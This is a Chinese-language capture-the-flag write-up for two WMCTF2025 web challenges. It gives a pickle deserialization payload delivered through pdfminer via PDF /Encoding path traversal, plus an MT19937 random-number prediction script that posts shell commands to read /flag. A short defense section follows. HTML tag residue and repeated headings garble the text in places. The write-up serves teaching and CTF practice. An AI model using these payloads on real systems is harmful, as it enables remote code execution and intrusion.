WMCTF2025 Web题解：PDF解析漏洞与随机数预测攻击<\/h1>

1. pdf2text题目解析<\/h2>

1.1 漏洞原理<\/h3>
该题利用PDF解析库（pdfminer）中的不安全反序列化漏洞，通过构造特殊PDF文件触发`pickle.loads()<\/code>实现远程代码执行。<\/p>`

关键漏洞点：<\/h4>
def<\/span> _load_data<\/span>(cls, name: str) -><\/span> Any:
<\/span><\/span>    name =<\/span> name.<\/span>replace("<\/span>\0<\/span>"<\/span>, ""<\/span>)
<\/span><\/span>    filename =<\/span> "<\/span>%s<\/span>.pickle.gz"<\/span> %<\/span> name  # 文件名可控<\/span>
<\/span><\/span>    # ...路径遍历逻辑...<\/span>
<\/span><\/span>    path =<\/span> os.<\/span>path.<\/span>join(directory, filename)  # 路径拼接<\/span>
<\/span><\/span>    gzfile =<\/span> gzip.<\/span>open(path)
<\/span><\/span>    return<\/span> type(str(name), (), pickle.<\/span>loads(gzfile.<\/span>read()))  # 反序列化点<\/span>
<\/span><\/span><\/code><\/pre>1.2 利用条件<\/h3>

控制PDF的\/Encoding<\/code>属性值<\/li>
服务器存在文件上传功能<\/li>
可上传.gz格式的恶意序列化数据<\/li>
<\/ol>
1.3 利用步骤<\/h3>
步骤一：构造恶意序列化文件<\/h4>
import<\/span> pickle
<\/span><\/span>import<\/span> zlib
<\/span><\/span>import<\/span> gzip
<\/span><\/span>
<\/span><\/span># 构造RCE payload（创建静态目录并输出flag）<\/span>
<\/span><\/span>payload =<\/span> b<\/span>"""__import__('os').system('mkdir \/app\/static')
<\/span><\/span><\/span>__import__('os').system('cat \/flag > \/app\/static\/flag.txt')"""<\/span>
<\/span><\/span>
<\/span><\/span># 使用STOP操作码限定反序列化范围<\/span>
<\/span><\/span>pickle_payload =<\/span> b<\/span>'''(S'''<\/span> +<\/span> payload +<\/span> b<\/span>'''
<\/span><\/span><\/span>tR.'''<\/span>
<\/span><\/span>
<\/span><\/span># 生成gzip压缩文件（使用无压缩模式保证格式合法）<\/span>
<\/span><\/span>with<\/span> gzip.<\/span>open('attack.pickle.gz'<\/span>, 'wb'<\/span>) as<\/span> f:
<\/span><\/span>    f.<\/span>write(pickle_payload)
<\/span><\/span><\/code><\/pre>步骤二：构造恶意PDF文件<\/h4>
PDF对象需要包含可控的Encoding属性：<\/p>
%PDF-1.4
1 0 obj << \/Type \/Catalog \/Pages 2 0 R >> endobj
2 0 obj << \/Type \/Pages \/Kids [3 0 R] \/Count 1 >> endobj
3 0 obj << \/Type \/Page \/Parent 2 0 R \/MediaBox [0 0 612 792] \/Resources << \/Font << \/F1 4 0 R >> >> \/Contents 5 0 R >> endobj
4 0 obj << 
    \/Type \/Font 
    \/Subtype \/Type0 
    \/BaseFont \/HeiseiMin-W3 
    \/Encoding \/#2Fapp#2Fuploads#2FAttack-H  <!-- 关键：路径遍历 -->
    \/DescendantFonts [6 0 R] 
>> endobj
5 0 obj << \/Length 60 >> stream
BT \/F1 12 Tf 100 700 Td (Chinese Test) Tj 0 -20 Td (Attack PDF) Tj ET
endstream endobj
6 0 obj << \/Type \/Font \/Subtype \/CIDFontType0 \/BaseFont \/HeiseiMin-W3 \/CIDSystemInfo << \/Registry (Adobe) \/Ordering (Japan1) \/Supplement 0 >> >> endobj
xref 0 7 
0000000000 65535 f 
0000000009 00000 n 
0000000058 00000 n 
0000000115 00000 n 
0000000251 00000 n 
0000000369 00000 n 
0000000489 00000 n 
trailer << \/Size 7 \/Root 1 0 R >>
startxref 629
%%EOF
<\/code><\/pre>
关键技术点：<\/h4>

路径遍历<\/strong>：使用#2F<\/code>代替\/<\/code>绕过PDF格式限制（#2F<\/code>是URL编码的\/<\/code>）<\/li>
文件格式<\/strong>：PDF必须包含有效结构（trailer、xref等）<\/li>
gz格式要求<\/strong>：内部必须为合法的DEFLATE数据流<\/li>
<\/ol>
1.4 攻击流程<\/h3>

上传恶意.gz文件到\/app\/uploads\/<\/code>目录<\/li>
上传恶意PDF文件触发解析<\/li>
PDF解析器加载\/app\/uploads\/Attack.pickle.gz<\/code><\/li>
触发pickle.loads()<\/code>反序列化执行RCE命令<\/li>
通过\/static\/flag.txt<\/code>获取flag<\/li>
<\/ol>
2. guess题目解析<\/h2>
2.1 漏洞原理<\/h3>
利用Python随机数生成器（MT19937梅森旋转算法）的可预测性，通过收集足够数量的随机数输出，预测后续随机值。<\/p>
随机数生成关键代码：<\/h4>
key2 =<\/span> random.<\/span>getrandbits(32<\/span>)  # 生成32位随机数<\/span>
<\/span><\/span><\/code><\/pre>2.2 MT19937算法特性<\/h3>

周期：2^19937-1<\/li>
状态数组：624个uint32值<\/li>
输出：每624次生成后重新旋转状态数组<\/li>
可预测性：获得624个连续输出即可预测后续所有输出<\/li>
<\/ul>
2.3 利用步骤<\/h3>
步骤一：收集随机数样本<\/h4>
通过注册用户或API接口收集至少624个key2值（32位整数）<\/p>
步骤二：重建随机数状态<\/h4>
from<\/span> mt19937predictor import<\/span> MT19937Predictor
<\/span><\/span>import<\/span> random
<\/span><\/span>
<\/span><\/span>predictor =<\/span> MT19937Predictor()
<\/span><\/span>
<\/span><\/span># 填入收集到的624个随机数<\/span>
<\/span><\/span>for<\/span> i in<\/span> range(624<\/span>):
<\/span><\/span>    predictor.<\/span>setrandbits(collected_values[i], 32<\/span>)
<\/span><\/span>
<\/span><\/span># 预测下一个随机数<\/span>
<\/span><\/span>next_key2 =<\/span> predictor.<\/span>getrandbits(32<\/span>)
<\/span><\/span><\/code><\/pre>步骤三：构造RCE Payload<\/h4>
由于无回显，需要将命令结果写入web目录：<\/p>
# 预测key2后执行的payload<\/span>
<\/span><\/span>rce_payload =<\/span> [
<\/span><\/span>    "__import__('os').system('mkdir \/app\/static')"<\/span>,
<\/span><\/span>    "__import__('os').system('cat \/flag > \/app\/static\/flag.txt')"<\/span>
<\/span><\/span>]
<\/span><\/span><\/code><\/pre>2.4 完整攻击脚本<\/h3>
import<\/span> requests
<\/span><\/span>from<\/span> mt19937predictor import<\/span> MT19937Predictor
<\/span><\/span>
<\/span><\/span># 1. 收集随机数样本<\/span>
<\/span><\/span>collected_values =<\/span> []
<\/span><\/span>for<\/span> i in<\/span> range(624<\/span>):
<\/span><\/span>    resp =<\/span> requests.<\/span>get('\/api\/get_key2'<\/span>)  # 假设的API接口<\/span>
<\/span><\/span>    key2 =<\/span> resp.<\/span>json()['key2'<\/span>]
<\/span><\/span>    collected_values.<\/span>append(key2)
<\/span><\/span>
<\/span><\/span># 2. 重建预测器<\/span>
<\/span><\/span>predictor =<\/span> MT19937Predictor()
<\/span><\/span>for<\/span> val in<\/span> collected_values:
<\/span><\/span>    predictor.<\/span>setrandbits(val, 32<\/span>)
<\/span><\/span>
<\/span><\/span># 3. 预测下一个key2并发送RCE<\/span>
<\/span><\/span>next_key2 =<\/span> predictor.<\/span>getrandbits(32<\/span>)
<\/span><\/span>payload =<\/span> {
<\/span><\/span>    "key2"<\/span>: next_key2,
<\/span><\/span>    "command"<\/span>: "mkdir \/app\/static; cat \/flag > \/app\/static\/flag.txt"<\/span>
<\/span><\/span>}
<\/span><\/span>requests.<\/span>post('\/api\/execute'<\/span>, json=<\/span>payload)
<\/span><\/span><\/code><\/pre>3. 防御方案<\/h2>
3.1 反序列化漏洞防御<\/h3>

禁用不必要的反序列化功能<\/li>
使用安全替代方案（如JSON）<\/li>
对反序列化操作进行沙箱隔离<\/li>
校验输入数据的合法性<\/li>
<\/ol>
3.2 随机数安全防御<\/h3>

使用加密安全随机数生成器（os.urandom()<\/code>）<\/li>
避免泄露随机数内部状态<\/li>
对关键操作使用不可预测的随机数<\/li>
定期重置随机数生成器状态<\/li>
<\/ol>
4. 总结<\/h2>
两道题目分别展示了：<\/p>

pdf2text<\/strong>：文件格式解析与反序列化链的利用<\/li>
guess<\/strong>：伪随机数算法的密码学安全问题<\/li>
<\/ol>
关键攻击技术包括：<\/p>

PDF属性控制与路径遍历<\/li>
pickle反序列化payload构造<\/li>
MT19937状态重建与预测<\/li>
无回显RCE的成果外带方法<\/li>
<\/ul>
这些漏洞在真实Web应用中同样存在，需要开发者充分理解底层机制并实施适当防护措施。<\/p>

WMCTF2025 Web题解：PDF解析漏洞与随机数预测攻击<\/h1>

1. pdf2text题目解析<\/h2>

1.1 漏洞原理<\/h3> 该题利用PDF解析库（pdfminer）中的不安全反序列化漏洞，通过构造特殊PDF文件触发pickle.loads()<\/code>实现远程代码执行。<\/p>

1.3 利用步骤<\/h3>

2. guess题目解析<\/h2>

2.1 漏洞原理<\/h3> 利用Python随机数生成器（MT19937梅森旋转算法）的可预测性，通过收集足够数量的随机数输出，预测后续随机值。<\/p>

2.3 利用步骤<\/h3>

步骤一：收集随机数样本<\/h4> 通过注册用户或API接口收集至少624个key2值（32位整数）<\/p>

3. 防御方案<\/h2>

1.1 漏洞原理<\/h3>
该题利用PDF解析库（pdfminer）中的不安全反序列化漏洞，通过构造特殊PDF文件触发`pickle.loads()<\/code>实现远程代码执行。<\/p>`

2.1 漏洞原理<\/h3>
利用Python随机数生成器（MT19937梅森旋转算法）的可预测性，通过收集足够数量的随机数输出，预测后续随机值。<\/p>

步骤一：收集随机数样本<\/h4>
通过注册用户或API接口收集至少624个key2值（32位整数）<\/p>